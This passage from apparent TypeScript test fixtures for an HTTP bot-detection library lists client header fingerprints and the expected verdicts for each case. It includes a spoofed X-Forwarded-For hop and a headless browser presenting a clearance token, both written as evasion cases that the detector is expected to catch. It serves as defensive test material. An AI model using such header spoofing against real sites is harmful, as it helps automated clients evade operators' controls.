fake hop to X-Forwarded-For\",\n audience: \"hostile\",\n category: \"forwarding\",\n provenance: \"X-Forwarded-For is client-supplied; anyone can prepend an address and choose the identity they are tracked under\",\n notes:\n \"The corpus cannot assert the resolved address directly, so this case asserts the consequence: the client's chosen address must not let it escape its own classification. A curl request stays a curl request whatever it writes in the header.\",\n requests: [\n {\n headers: [[\"Host\", \"shop.example\"], [\"User-Agent\", \"curl/8.11.1\"], [\"Accept\", \"*/*\"], [\"X-Forwarded-For\", \"66.249.66.1, 192.0.2.90\"]],\n ip: \"192.0.2.90\",\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { verdict: \"confirmed-bot\", botClass: \"http-client\", certain: true },\n tags: [\"security\"],\n }),\n];\n","import { browser, plain } from \"./headers.js\";\nimport { bot, human } from \"./schema.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * Address reputation and prior clearance.\n *\n * Two mechanisms that only work when you have configured them, and that behave very\n * differently from everything else in the corpus:\n *\n * **Address ranges** are operator data. The library ships none, because an\n * address-to-operator mapping goes stale within weeks and a stale mapping is a false\n * positive with a long half-life. A denylist entry is `certain` — not because we\n * deduced anything, but because you decided it — while a datacenter match is capped\n * at `moderate` forever, since consumer VPNs, corporate gateways, Tor exits and\n * privacy relays all live in the same address space as the scrapers.\n *\n * **Clearance** is the only source of human-pointing evidence the library has, and\n * the levels are not interchangeable. A solved proof of work shows that a JavaScript\n * engine ran and CPU was spent — a headless Chrome does both. Only `operator`\n * clearance, which your own application issues on evidence the request does not\n * carry, is treated as conclusive.\n */\n\nexport const REPUTATION_CASES: TrafficCase[] = [\n bot({\n id: \"denylist-hit\",\n title: \"An address the operator has denied\",\n audience: \"hostile\",\n category: \"address-reputation\",\n provenance: \"An explicit local decision, not an inference\",\n notes:\n \"`certain`, and the justification is about responsibility rather than technology: nothing was deduced, an instruction was carried out. It also means a bad denylist entry blocks real people with no probabilistic guard to catch it — which is the argument for reviewing the list rather than growing it.\",\n requires: [\"denylist\"],\n requests: [{ ...browser(\"chromeWindows\"), ip: \"203.0.113.244\" }],\n expect: { verdict: \"confirmed-bot\", certain: true, detectors: [\"ip-intelligence\"] },\n }),\n bot({\n id: \"datacenter-scraper\",\n title: \"A scraper from hosting-provider address space\",\n audience: \"unwanted-bot\",\n category: \"address-reputation\",\n provenance: \"Where bulk extraction is actually run from\",\n notes: \"The corroborating case: a datacenter address alongside a bare library client is a different proposition from either alone.\",\n requires: [\"datacenter-ranges\"],\n requests: [{ ...plain(\"python-requests/2.32.3\"), ip: \"192.0.2.180\" }],\n expect: { verdict: \"confirmed-bot\", botClass: \"http-client\", certain: true, detectors: [\"ip-intelligence\", \"self-identified\"] },\n }),\n human({\n id: \"datacenter-human-with-ranges\",\n title: \"A person on a VPN, with datacenter ranges configured\",\n category: \"address-reputation\",\n provenance: \"The same address space, a completely different client\",\n notes:\n \"The whole reason the datacenter signal is capped at `moderate`. With ranges loaded this person now carries a bot-pointing observation on every request, and it must never be enough to deny them.\",\n requires: [\"datacenter-ranges\"],\n requests: [{ ...browser(\"firefoxWindows\"), ip: \"192.0.2.190\" }],\n expect: { certain: false, detectors: [\"ip-intelligence\"] },\n tags: [\"known-cost\"],\n }),\n\n human({\n id: \"cleared-by-proof-of-work\",\n title: \"A person who already solved the challenge\",\n category: \"clearance\",\n provenance: \"A signed clearance cookie from a completed proof of work\",\n notes:\n \"Only `moderate` human evidence. Proof of work demonstrates a JavaScript engine and spent CPU; it does not demonstrate a person, and treating it as though it did would be the mirror image of the mistake this library exists to avoid.\",\n clearance: \"pow\",\n requests: [browser(\"chromeWindows\")],\n expect: { detectors: [\"clearance\"], neverAction: [\"block\", \"drop\", \"redirect\"] },\n }),\n human({\n id: \"cleared-by-operator\",\n title: \"A signed-in customer your application vouches for\",\n category: \"clearance\",\n provenance: \"`grantClearance(facts, 'operator')` after a successful login\",\n notes:\n \"The only conclusive human signal in the library, and it does not come from the request. Your application knows this session is authenticated; the library cannot see that and does not try to guess it.\",\n clearance: \"operator\",\n requests: [browser(\"chromeWindows\")],\n expect: { verdict: \"human\", certain: true, detectors: [\"clearance\"], action: [\"allow\", \"log\", \"tag\"] },\n }),\n bot({\n id: \"cleared-but-proven-bot\",\n title: \"A proven bot presenting a valid clearance token\",\n audience: \"unwanted-bot\",\n category: \"clearance\",\n provenance: \"A headless browser solves a proof of work as readily as a laptop does\",\n notes:\n \"Proven bot evidence outranks clearance, deliberately. This is also the shape that used to livelock: passing a challenge cannot undo a `certain` verdict, so a client that could run JavaScript was challenged, solved, reloaded and was challenged again forever. The action layer now refuses to re-issue a challenge to an actor that already holds one.\",\n clearance: \"pow\",\n requests: [plain(\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/152.0.0.0 Safari/537.36\")],\n // Asserted on the *outcome*, not the decision: a policy is free to decide\n // \"challenge\" here, and the action layer is required to refuse to issue it.\n expect: { verdict: \"confirmed-bot\", botClass: \"automation\", certain: true, outcome: \"continue\" },\n tags: [\"regression\"],\n }),\n];\n","import { bot } from \"./schema.js\";\nimport type { Header } from \"./headers.js\";\nimport type { CaseRequest, TrafficCase } from \"./schema.js\";\n\n/**\n * HTTP clients across every ecosystem that shows up in a server log.\n *\n * Each entry reproduces the client's **default header set in its default order**,\n * because that order is a fingerprint in its own right and the differences between\n * these libraries are the whole point: `requests` sends `Accept-Encoding` before\n * `Accept`; Go sends no `Accept` at all; `urllib` puts `Host` second; OkHttp sends\n * `Connection` before `Accept-Encoding`. No browser does any of those things.\n *\n * None of this is evidence of hostility. It is evidence that nobody is looking at the\n * response — a narrower and much safer claim, and one that is usually about somebody's\n * own integration. The right treatment is an allowlist entry or a challenge, not a\n * block.\n */\n\nfunction client(\n id: string,\n title: string,\n headers: readonly Header[],\n provenance: string,\n options: { identity?: string; certain?: boolean; automation?: boolean; suspectedOnly?: boolean; botClass?: \"http-client\" | \"declared-bot\"; notes?: string; path?: string; method?: string; audience?: TrafficCase[\"audience\"] } = {},\n): TrafficCase {\n const request: CaseRequest = {\n headers: [[\"Host\", \"shop.example\"], ...headers],\n protocol: \"https\",\n httpVersion: \"1.1\",\n ...(options.path !== undefined ? { path: options.path } : {}),\n ...(options.method !== undefined ? { method: options.method } : {}),\n };\n return bot({\n id,\n title,\n audience: options.audience ?? \"unwanted-bot\",\n category: \"http-library\",\n provenance,\n ...(options.notes !== undefined ? { notes: options.notes } : {}),\n requests: [request],\n expect: options.automation === true\n ? { verdict: \"confirmed-bot\", botClass: \"automation\", certain: true }\n : options.suspectedOnly === true\n ? { verdict: \"suspected-bot\", botClass: \"http-client\", certain: false, detectors: [\"self-identified\"] }\n : options.certain === false\n ? { certain: false, botClass: [\"http-client\", \"unknown\"] }\n : {\n verdict: \"confirmed-bot\",\n botClass: options.botClass ?? \"http-client\",\n certain: true,\n ...(options.identity !== undefined ? { identity: options.identity } : {}),\n detectors: [\"self-identified\"],\n },\n });\n}\n\nexport const EXTENDED_LIBRARY_CASES: TrafficCase[] = [\n // ---- Python ----\n client(\"lib-requests-session\", \"requests with a Session and keep-alive\", [[\"User-Agent\", \"python-requests/2.32.4\"], [\"Accept-Encoding\", \"gzip, deflate, zstd\"], [\"Accept\", \"*/*\"], [\"Connection\", \"keep-alive\"]], \"requests 2.32 added zstd to its default Accept-Encoding\", { identity: \"python\" }),\n client(\"lib-requests-json-post\", \"requests posting JSON\", [[\"User-Agent\", \"python-requests/2.32.4\"], [\"Accept-Encoding\", \"gzip, deflate\"], [\"Accept\", \"*/*\"], [\"Connection\", \"keep-alive\"], [\"Content-Type\", \"application/json\"], [\"Content-Length\", \"142\"]], \"The shape of a scripted API call\", { identity: \"python\", method: \"POST\", path: \"/api/v1/orders\" }),\n client(\"lib-httpx-async\", \"httpx in async mode\", [[\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip, deflate, br, zstd\"], [\"Connection\", \"keep-alive\"], [\"User-Agent\", \"python-httpx/0.28.1\"]], \"httpx sorts its defaults differently from requests and sends User-Agent last\", { identity: \"python\" }),\n client(\"lib-aiohttp-client\", \"aiohttp\", [[\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip, deflate\"], [\"User-Agent\", \"Python/3.13 aiohttp/3.11.11\"]], \"aiohttp names the interpreter version ahead of its own\", { identity: \"python\" }),\n client(\"lib-urllib3-direct\", \"urllib3 used directly\", [[\"User-Agent\", \"python-urllib3/2.3.0\"], [\"Accept-Encoding\", \"identity\"]], \"urllib3 below requests sends a bare identity encoding\", { identity: \"python\" }),\n client(\"lib-python-urllib\", \"the standard library's urllib\", [[\"Accept-Encoding\", \"identity\"], [\"User-Agent\", \"Python-urllib/3.13\"], [\"Connection\", \"close\"]], \"urllib emits Accept-Encoding before Host and sends no Accept at all\", { identity: \"python\" }),\n client(\"lib-scrapy-crawler\", \"Scrapy\", [[\"User-Agent\", \"Scrapy/2.12.0 (+https://scrapy.org)\"], [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Language\", \"en\"], [\"Accept-Encoding\", \"gzip, deflate\"]], \"Scrapy's default crawler headers; it names a contact URL like a polite crawler\", { identity: \"python\" }),\n client(\"lib-selenium-wire\", \"selenium-wire's underlying client\", [[\"User-Agent\", \"python-requests/2.32.4\"], [\"Accept-Encoding\", \"gzip, deflate\"], [\"Accept\", \"*/*\"], [\"X-Selenium-Wire\", \"1\"]], \"Instrumented Selenium proxies leak their own headers\", { identity: \"python\" }),\n client(\"lib-mechanicalsoup\", \"MechanicalSoup\", [[\"User-Agent\", \"python-requests/2.32.4\"], [\"Accept-Encoding\", \"gzip, deflate\"], [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Connection\", \"keep-alive\"]], \"A form-filling wrapper over requests, used for scripted logins\", { identity: \"python\" }),\n\n // ---- JavaScript and TypeScript ----\n client(\"lib-undici-fetch\", \"Node's built-in fetch\", [[\"Accept\", \"*/*\"], [\"Accept-Language\", \"*\"], [\"Sec-Fetch-Mode\", \"cors\"], [\"User-Agent\", \"node\"], [\"Accept-Encoding\", \"gzip, deflate\"]], \"Node's global fetch is undici; it sends a bare 'node' User-Agent and an Accept-Language of *\", { certain: false, notes: \"Two characters of User-Agent. Undici also sends Sec-Fetch-Mode, which is unusual for a non-browser and shows that Fetch Metadata alone does not imply a browser.\" }),\n client(\"lib-node-fetch-v3\", \"node-fetch v3\", [[\"Accept\", \"*/*\"], [\"User-Agent\", \"node-fetch\"], [\"Accept-Encoding\", \"gzip,deflate,br\"], [\"Connection\", \"close\"]], \"node-fetch v3 dropped the URL from its default User-Agent\", { identity: \"node\" }),\n client(\"lib-axios-node\", \"axios in Node\", [[\"Accept\", \"application/json, text/plain, */*\"], [\"User-Agent\", \"axios/1.8.4\"], [\"Accept-Encoding\", \"gzip, compress, deflate, br\"]], \"axios in Node; in a browser it cannot set User-Agent at all\", { identity: \"node\" }),\n client(\"lib-got\", \"got\", [[\"User-Agent\", \"got (https://github.com/sindresorhus/got)\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]], \"got names its repository in the User-Agent\", { identity: \"node\" }),\n client(\"lib-superagent\", \"superagent\", [[\"User-Agent\", \"superagent/9.0.2\"], [\"Accept-Encoding\", \"gzip, deflate\"]], \"A long-lived Node client still common in older services\", { identity: \"node\" }),\n client(\"lib-puppeteer-fetch\", \"Puppeteer's page.goto with an overridden UA\", [[\"User-Agent\", \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/152.0.0.0 Safari/537.36\"], [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\"], [\"Accept-Encoding\", \"gzip, deflate, br\"], [\"Accept-Language\", \"en-US\"]], \"Puppeteer leaves HeadlessChrome in the UA unless told otherwise\", { audience: \"unwanted-bot\", automation: true, identity: \"headless-chrome\" }),\n client(\"lib-deno-fetch\", \"Deno's fetch\", [[\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip, br\"], [\"User-Agent\", \"Deno/2.1.9\"], [\"Accept-Language\", \"*\"]], \"Deno identifies its runtime and version\", { identity: \"node\" }),\n client(\"lib-bun-fetch\", \"Bun's fetch\", [[\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip, deflate, br\"], [\"User-Agent\", \"Bun/1.2.4\"], [\"Connection\", \"keep-alive\"]], \"Bun identifies its runtime and version\", { identity: \"node\" }),\n\n // ---- JVM ----\n client(\"lib-okhttp-android\", \"OkHttp from an Android app\", [[\"User-Agent\", \"okhttp/4.12.0\"], [\"Connection\", \"Keep-Alive\"], [\"Accept-Encoding\", \"gzip\"]], \"The default client behind most Android apps; Connection precedes Accept-Encoding\", { identity: \"java\" }),\n client(\"lib-retrofit\", \"Retrofit over OkHttp\", [[\"Accept\", \"application/json\"], [\"User-Agent\", \"okhttp/4.12.0\"], [\"Connection\", \"Keep-Alive\"], [\"Accept-Encoding\", \"gzip\"]], \"Retrofit adds an Accept and leaves OkHttp's own headers in place\", { identity: \"java\" }),\n client(\"lib-jdk-httpclient\", \"The JDK HttpClient\", [[\"User-Agent\", \"Java-http-client/21.0.6\"], [\"Connection\", \"Upgrade, HTTP2-Settings\"], [\"Upgrade\", \"h2c\"], [\"HTTP2-Settings\", \"AAEAAEAAAAIAAAABAAMAAABkAAQBAAAAAAUAAEAA\"]], \"The JDK client attempts an h2c upgrade over cleartext, which browsers never do\", { identity: \"java\" }),\n client(\"lib-apache-httpclient5\", \"Apache HttpClient 5\", [[\"User-Agent\", \"Apache-HttpClient/5.4.1 (Java/21.0.6)\"], [\"Accept-Encoding\", \"gzip, x-gzip, deflate\"], [\"Connection\", \"keep-alive\"]], \"Ubiquitous in JVM services; note the x-gzip alias no browser sends\", { identity: \"java\" }),\n client(\"lib-spring-webclient\", \"Spring WebClient over Reactor Netty\", [[\"User-Agent\", \"ReactorNetty/1.2.2\"], [\"Accept\", \"application/json\"], [\"Accept-Encoding\", \"gzip\"]], \"The reactive stack in most modern Spring services\", { certain: false }),\n client(\"lib-ktor\", \"Ktor's client\", [[\"Accept\", \"*/*\"], [\"Accept-Charset\", \"UTF-8\"], [\"User-Agent\", \"ktor-client\"], [\"Accept-Encoding\", \"gzip,deflate,identity\"]], \"Ktor still sends Accept-Charset, which browsers dropped over a decade ago\", { identity: \"java\", notes: \"Accept-Charset is a genuine period marker: no browser has sent it since 2014.\" }),\n client(\"lib-jsoup\", \"jsoup fetching a page to parse\", [[\"User-Agent\", \"Mozilla/5.0 (jsoup)\"], [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Encoding\", \"gzip\"]], \"jsoup wears a Mozilla preamble it did not earn\", { identity: \"java\", notes: \"A Mozilla preamble with `(jsoup)` where the platform block belongs. The preamble buys nothing: the product token names the library, and that is what is read.\" }),\n\n // ---- Go, Rust, and systems languages ----\n client(\"lib-go-nethttp\", \"Go's net/http\", [[\"User-Agent\", \"Go-http-client/2.0\"], [\"Accept-Encoding\", \"gzip\"]], \"Go sends only a User-Agent and Accept-Encoding by default — no Accept at all\", { identity: \"go\" }),\n client(\"lib-go-resty\", \"Go with resty\", [[\"User-Agent\", \"go-resty/2.16.5 (https://github.com/go-resty/resty)\"], [\"Accept-Encoding\", \"gzip\"]], \"resty names its repository\", { identity: \"go\" }),\n client(\"lib-rust-reqwest\", \"Rust's reqwest\", [[\"Accept\", \"*/*\"], [\"User-Agent\", \"reqwest/0.12.12\"], [\"Accept-Encoding\", \"gzip, br, zstd, deflate\"]], \"reqwest advertises four encodings including zstd\", { identity: \"rust\" }),\n client(\"lib-rust-ureq\", \"Rust's ureq\", [[\"User-Agent\", \"ureq/3.0.5\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip\"]], \"A blocking Rust client common in CLI tools\", { identity: \"rust\" }),\n client(\"lib-curl-cli\", \"curl from a shell\", [[\"User-Agent\", \"curl/8.12.1\"], [\"Accept\", \"*/*\"]], \"curl sends exactly three headers by default and no Accept-Encoding unless asked\", { identity: \"curl\" }),\n client(\"lib-curl-compressed\", \"curl --compressed\", [[\"User-Agent\", \"curl/8.12.1\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"deflate, gzip, br, zstd\"]], \"The --compressed flag adds every encoding libcurl was built with\", { identity: \"curl\" }),\n client(\"lib-wget\", \"Wget\", [[\"User-Agent\", \"Wget/1.25.0\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"identity\"], [\"Connection\", \"Keep-Alive\"]], \"Wget defaults to identity encoding\", { identity: \"wget\" }),\n client(\"lib-wget2\", \"Wget2\", [[\"User-Agent\", \"Wget/2.2.0\"], [\"Accept-Encoding\", \"gzip, br, zstd, lzip, deflate\"], [\"Accept\", \"*/*\"], [\"Connection\", \"keep-alive\"]], \"Wget2 advertises encodings no browser supports, including lzip\", { identity: \"wget\" }),\n client(\"lib-aria2\", \"aria2 download manager\", [[\"User-Agent\", \"aria2/1.37.0\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"deflate, gzip\"], [\"Connection\", \"close\"], [\"Range\", \"bytes=0-1048575\"]], \"aria2 segments downloads with parallel Range requests\", { identity: \"misc-cli\", path: \"/downloads/catalogue.pdf\" }),\n\n // ---- PHP, Ruby, Perl, .NET ----\n client(\"lib-guzzle\", \"Guzzle\", [[\"User-Agent\", \"GuzzleHttp/7.9.2 curl/8.12.1 PHP/8.4.3\"], [\"Accept\", \"*/*\"]], \"Guzzle names itself, libcurl and PHP in one string\", { identity: \"php\" }),\n client(\"lib-php-file-get-contents\", \"PHP's file_get_contents\", [[\"User-Agent\", \"PHP/8.4.3\"], [\"Accept\", \"*/*\"], [\"Connection\", \"close\"]], \"The default stream wrapper sends the bare interpreter version\", { identity: \"php\" }),\n client(\"lib-wordpress-pingback\", \"A WordPress pingback\", [[\"User-Agent\", \"WordPress/6.8.1; https://blog.example\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"deflate;q=1.0, compress;q=0.5, gzip;q=0.5\"], [\"Content-Type\", \"application/x-www-form-urlencoded\"]], \"WordPress names the calling site in its User-Agent, which makes it traceable\", { identity: \"php\", method: \"POST\", path: \"/xmlrpc.php\", notes: \"Honest automation from somebody else's blog. A block here breaks a pingback, not an attack.\" }),\n client(\"lib-drupal-http\", \"Drupal's HTTP client\", [[\"User-Agent\", \"Drupal/11.1 (+https://www.drupal.org/)\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip\"]], \"Drupal names its project URL\", { identity: \"php\" }),\n client(\"lib-ruby-faraday\", \"Ruby with Faraday\", [[\"User-Agent\", \"Faraday v2.12.2\"], [\"Accept-Encoding\", \"gzip;q=1.0,deflate;q=0.6,identity;q=0.3\"], [\"Accept\", \"*/*\"]], \"Faraday's quality-weighted encoding list is distinctive\", { identity: \"ruby\" }),\n client(\"lib-ruby-nethttp\", \"Ruby's Net::HTTP\", [[\"Accept-Encoding\", \"gzip;q=1.0,deflate;q=0.6,identity;q=0.3\"], [\"Accept\", \"*/*\"], [\"User-Agent\", \"Ruby\"], [\"Connection\", \"close\"]], \"The standard library sends a User-Agent of exactly 'Ruby'\", { suspectedOnly: true, notes: \"Four characters. No signature matches it — a token of 'ruby' would match any string containing the word — so it is caught by shape alone, as a bare product token no browser emits. Strong, not proven, and that is the right answer.\" }),\n client(\"lib-httprb-mastodon\", \"http.rb, as used by Mastodon\", [[\"User-Agent\", \"http.rb/5.2.0 (Mastodon/4.3.4; +https://mastodon.example/)\"], [\"Accept\", \"application/activity+json, application/ld+json\"], [\"Accept-Encoding\", \"gzip\"]], \"Fediverse servers fetch on their users' behalf and name both the library and the instance\", { audience: \"benign-bot\", identity: \"mastodon\", botClass: \"declared-bot\", notes: \"One shared link can arrive from hundreds of instances at once, each a separate server acting for a real reader. Identified as Mastodon rather than as a Ruby client: the more specific claim is the more useful one for writing a rule.\" }),\n client(\"lib-dotnet-httpclient\", \".NET HttpClient\", [[\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) HttpClient/9.0\"], [\"Accept-Encoding\", \"gzip, deflate, br\"], [\"Connection\", \"keep-alive\"]], \"Even library clients sometimes wear a Mozilla preamble\", { identity: \"dotnet\" }),\n client(\"lib-restsharp\", \"RestSharp\", [[\"User-Agent\", \"RestSharp/112.1.0\"], [\"Accept\", \"application/json, text/json, text/x-json, text/javascript, application/xml, text/xml\"], [\"Accept-Encoding\", \"gzip, deflate\"]], \"RestSharp's Accept list is long and unmistakably not a browser's\", { identity: \"dotnet\" }),\n client(\"lib-powershell-invoke\", \"PowerShell's Invoke-WebRequest\", [[\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.26100; en-GB) PowerShell/7.5.0\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]], \"PowerShell names the exact Windows build and the shell version\", { identity: \"shell\", notes: \"A Mozilla preamble again, beside a product token no browser emits. Invoke-WebRequest is a deployment script far more often than it is an attack.\" }),\n client(\"lib-libwww-perl\", \"Perl's LWP\", [[\"User-Agent\", \"libwww-perl/6.78\"], [\"TE\", \"deflate,gzip;q=0.3\"]], \"One of the oldest scripted clients still in circulation\", { identity: \"perl\" }),\n\n // ---- CLI tools people use by hand ----\n client(\"lib-httpie\", \"HTTPie\", [[\"User-Agent\", \"HTTPie/3.2.4\"], [\"Accept-Encoding\", \"gzip, deflate\"], [\"Accept\", \"*/*\"], [\"Connection\", \"keep-alive\"]], \"A command-line client aimed at people rather than at scripts\", { identity: \"misc-cli\", notes: \"Automation by shape, a developer by intent. Worth remembering when choosing an action.\" }),\n client(\"lib-postman\", \"Postman\", [[\"User-Agent\", \"PostmanRuntime/7.43.0\"], [\"Accept\", \"*/*\"], [\"Cache-Control\", \"no-cache\"], [\"Postman-Token\", \"0a1b2c3d-4e5f-6071-8293-a4b5c6d7e8f9\"], [\"Accept-Encoding\", \"gzip, deflate, br\"], [\"Connection\", \"keep-alive\"]], \"Postman adds a per-request token header of its own\", { identity: \"misc-cli\" }),\n client(\"lib-insomnia\", \"Insomnia\", [[\"User-Agent\", \"insomnia/10.3.0\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip, deflate, br\"]], \"An API client, a person clicking Send\", { identity: \"misc-cli\" }),\n client(\"lib-xh\", \"xh\", [[\"User-Agent\", \"xh/0.23.1\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip, deflate, br, zstd\"], [\"Connection\", \"keep-alive\"]], \"A Rust reimplementation of HTTPie\", { certain: false }),\n client(\"lib-k6-load-test\", \"A k6 load test\", [[\"User-Agent\", \"k6/0.56.0 (https://k6.io/)\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip\"]], \"Load generators identify themselves; usually this is your own test running against your own site\", { identity: \"k6\", audience: \"infrastructure\", notes: \"k6 is a named signature, and deliberately a `library` one rather than a `monitoring` one: monitoring is a benign category and benign categories are allowed by default, which is the wrong default for a tool whose purpose is generating load. Allowlist the load generator addresses before a test rather than discovering mid-run that the bot policy is what you measured.\" }),\n client(\"lib-vegeta\", \"A Vegeta load test\", [[\"User-Agent\", \"Go-http-client/2.0\"], [\"Accept-Encoding\", \"gzip\"], [\"X-Vegeta-Attack\", \"1\"]], \"Vegeta is built on Go's client and inherits its header set\", { identity: \"go\", audience: \"infrastructure\" }),\n client(\"lib-ab-benchmark\", \"ApacheBench\", [[\"User-Agent\", \"ApacheBench/2.3\"], [\"Accept\", \"*/*\"]], \"The oldest load tool still in daily use\", { suspectedOnly: true, audience: \"infrastructure\" }),\n];\n","import { plain } from \"./headers.js\";\nimport { bot } from \"./schema.js\";\nimport type { CaseRequest, TrafficCase } from \"./schema.js\";\n\n/**\n * Tools: HTTP libraries, automation runtimes, and security scanners.\n *\n * These are the cases the library is most confident about, and it is worth being\n * exact about *why*. A request saying `python-requests/2.32.3` is not evidence that\n * anyone is hostile — it is evidence that no human is looking at the response, which\n * is a much narrower and much safer claim. Plenty of this traffic is somebody's own\n * integration, which is why the recommended treatment is a challenge or an allowlist\n * entry rather than a block.\n *\n * Header *order* carries as much information as the User-Agent here. python-requests\n * sends `Accept-Encoding` before `Accept`; no browser does. The cases below reproduce\n * each library's real order so the ordering detector is genuinely exercised rather\n * than fed a plausible-looking guess.\n */\n\nfunction library(id: string, title: string, headers: CaseRequest[\"headers\"], provenance: string, identity?: string, notes?: string): TrafficCase {\n return bot({\n id,\n title,\n audience: \"unwanted-bot\",\n category: \"http-library\",\n provenance,\n ...(notes !== undefined ? { notes } : {}),\n requests: [{ headers, protocol: \"https\", httpVersion: \"1.1\" }],\n expect: {\n verdict: \"confirmed-bot\",\n botClass: \"http-client\",\n certain: true,\n ...(identity !== undefined ? { identity } : {}),\n detectors: [\"self-identified\"],\n },\n });\n}\n\nexport const TOOLING_CASES: TrafficCase[] = [\n // ---------------------------------------------------------------------------\n // HTTP libraries, in the header order each actually sends.\n // ---------------------------------------------------------------------------\n library(\n \"python-requests\",\n \"python-requests\",\n [[\"Host\", \"shop.example\"], [\"User-Agent\", \"python-requests/2.32.3\"], [\"Accept-Encoding\", \"gzip, deflate\"], [\"Accept\", \"*/*\"], [\"Connection\", \"keep-alive\"]],\n \"requests sends User-Agent, Accept-Encoding, Accept, Connection — Accept-Encoding ahead of Accept, which no browser does\",\n \"python\",\n \"Exercises both the signature and the header-order invariant at once.\",\n ),\n library(\n \"python-httpx\",\n \"httpx\",\n [[\"Host\", \"shop.example\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip, deflate, br\"], [\"Connection\", \"keep-alive\"], [\"User-Agent\", \"python-httpx/0.27.2\"]],\n \"httpx sorts differently from requests and sends User-Agent last\",\n \"python\",\n ),\n library(\n \"python-aiohttp\",\n \"aiohttp\",\n [[\"Host\", \"shop.example\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"gzip, deflate\"], [\"User-Agent\", \"Python/3.12 aiohttp/3.10.5\"]],\n \"aiohttp's default client header set\",\n \"python\",\n ),\n library(\n \"python-urllib\",\n \"urllib\",\n [[\"Accept-Encoding\", \"identity\"], [\"Host\", \"shop.example\"], [\"User-Agent\", \"Python-urllib/3.12\"], [\"Connection\", \"close\"]],\n \"urllib sends Host *second* and Accept-Encoding: identity — a request shape no browser produces\",\n \"python\",\n ),\n library(\n \"scrapy\",\n \"Scrapy\",\n [[\"Host\", \"shop.example\"], [\"User-Agent\", \"Scrapy/2.11.2 (+https://scrapy.org)\"], [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"], [\"Accept-Language\", \"en\"], [\"Accept-Encoding\", \"gzip, deflate\"]],\n \"Scrapy's default crawler headers; it names a contact URL like a polite crawler\",\n \"python\",\n ),\n library(\n \"curl\",\n \"curl\",\n [[\"Host\", \"shop.example\"], [\"User-Agent\", \"curl/8.11.1\"], [\"Accept\", \"*/*\"]],\n \"curl sends exactly three headers by default\",\n \"curl\",\n ),\n library(\"wget\", \"Wget\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"Wget/1.24.5\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"identity\"], [\"Connection\", \"Keep-Alive\"]], \"Wget's default header set\", \"wget\"),\n library(\n \"go-http-client\",\n \"Go's net/http\",\n [[\"Host\", \"shop.example\"], [\"User-Agent\", \"Go-http-client/2.0\"], [\"Accept-Encoding\", \"gzip\"]],\n \"Go sends only a User-Agent and Accept-Encoding by default — no Accept at all\",\n \"go\",\n ),\n library(\"node-fetch\", \"node-fetch\", [[\"Host\", \"shop.example\"], [\"Accept\", \"*/*\"], [\"User-Agent\", \"node-fetch/1.0 (+https://github.com/bitinn/node-fetch)\"], [\"Accept-Encoding\", \"gzip,deflate\"], [\"Connection\", \"close\"]], \"node-fetch default headers; it sends Accept before User-Agent, unlike any browser\", \"node\"),\n library(\"axios\", \"axios\", [[\"Host\", \"shop.example\"], [\"Accept\", \"application/json, text/plain, */*\"], [\"User-Agent\", \"axios/1.7.7\"], [\"Accept-Encoding\", \"gzip, compress, deflate, br\"]], \"axios in Node; in a browser it cannot set User-Agent at all\", \"node\"),\n library(\"okhttp\", \"OkHttp\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"okhttp/4.12.0\"], [\"Connection\", \"Keep-Alive\"], [\"Accept-Encoding\", \"gzip\"]], \"The default client for most Android apps\", \"java\"),\n library(\"java-httpclient\", \"Java HttpClient\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"Java-http-client/21.0.4\"], [\"Connection\", \"Upgrade, HTTP2-Settings\"]], \"The JDK's built-in client\", \"java\"),\n library(\"apache-httpclient\", \"Apache HttpClient\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"Apache-HttpClient/5.3.1 (Java/21.0.4)\"], [\"Accept-Encoding\", \"gzip, x-gzip, deflate\"], [\"Connection\", \"keep-alive\"]], \"Ubiquitous in JVM services\", \"java\"),\n library(\"guzzle\", \"Guzzle\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"GuzzleHttp/7.9.2 curl/8.11.1 PHP/8.3.12\"], [\"Accept\", \"*/*\"]], \"The default PHP HTTP client; note it names curl and PHP too\", \"php\"),\n library(\"wordpress\", \"WordPress\", [[\"Host\", \"shop.example\"], [\"User-Agent\", \"WordPress/6.7.1; https://blog.example\"], [\"Accept\", \"*/*\"], [\"Accept-Encoding\", \"deflate;q=1.0, compress;q=0.5, gzip;q=0.5\"]], \"WordPress pingbacks and feed fetches identify the calling site\", \"php\", \"Honest automation from somebody else's blog. A block here breaks a 